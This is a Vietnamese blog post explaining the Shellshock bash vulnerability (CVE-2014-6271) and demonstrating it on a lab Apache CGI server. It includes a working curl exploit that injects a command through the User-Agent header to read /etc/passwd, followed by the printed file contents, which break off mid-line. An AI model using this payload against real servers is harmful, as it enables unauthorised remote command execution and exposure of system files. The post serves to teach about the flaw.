CVE-2014-6271: Shellshock

Posted by huylvt on September 26, 2014

Trong mấy ngày gần đây, Shellshock – một lỗ hổng mà Redhat đã công bố vào ngày 24/9 có lẽ là chủ đề được bàn tán khá sôi nổi trong giới bảo mật. Lỗ hổng của Shellshock được so sánh với Heartbleed về tầm ảnh hưởng đến nhiều hệ thống. Tuy nhiên, nếu như kẻ tấn công chỉ có thể lợi dụng heartbleed để đọc dữ liệu từ các webserver bị lỗi thì với shellshock, kẻ tấn công hoàn toàn có thể thực thi các mã lệnh thậm chí chiếm quyền kiểm soát các máy chủ bị lỗi. Lỗ hổng này phát sinh từ việc bạn có thể tạo biến môi trường thủ công với các giá trị đặc biệt trước khi gọi bash shell. Điều này cho phép kẻ tấn công có thể thực thi mã lệnh từ xa trên máy chủ bị tấn công. Một trong những kịch bản khai thác của lỗ hổng này có thể lợi dụng để khai thác phổ biến nhất cho tới thời điểm hiện tại đó là các máy chủ chạy Apache có sử dụng mod_cgi. Để thử nghiệm khai thác lỗ hổng này, trên máy chủ Apache sử dụng mod_cgi có địa chỉ 192.168.25.10 chúng ta tạo một file demo.cgi:

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>Demo Shellshock</title>'
echo '</head>'
echo '<body>'
echo '<h4>Demo Shellshock</h4>'
echo '</body>'
echo '</html>'

exit 0

Sau đó, gửi thử một request đến file demo.cgi:

$ curl http://192.168.25.10/cgi-bin/demo.cgi

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Demo Shellshock</title>
</head>
<body>
<h4>Demo Shellshock</h4>
</body>
</html>

Cuối cùng để khai thác lỗi Shellshock, ta sẽ truyền thêm một user-agent “đặc biệt” khi request tới máy chủ Apache:

$ curl -A "() { test;};echo;/bin/cat /etc/passwd" http://192.168.25.10/cgi-bin/demo.cgi

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:999:User for polkitd:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
http-web:x:1000:1000::/var/www/:/bin/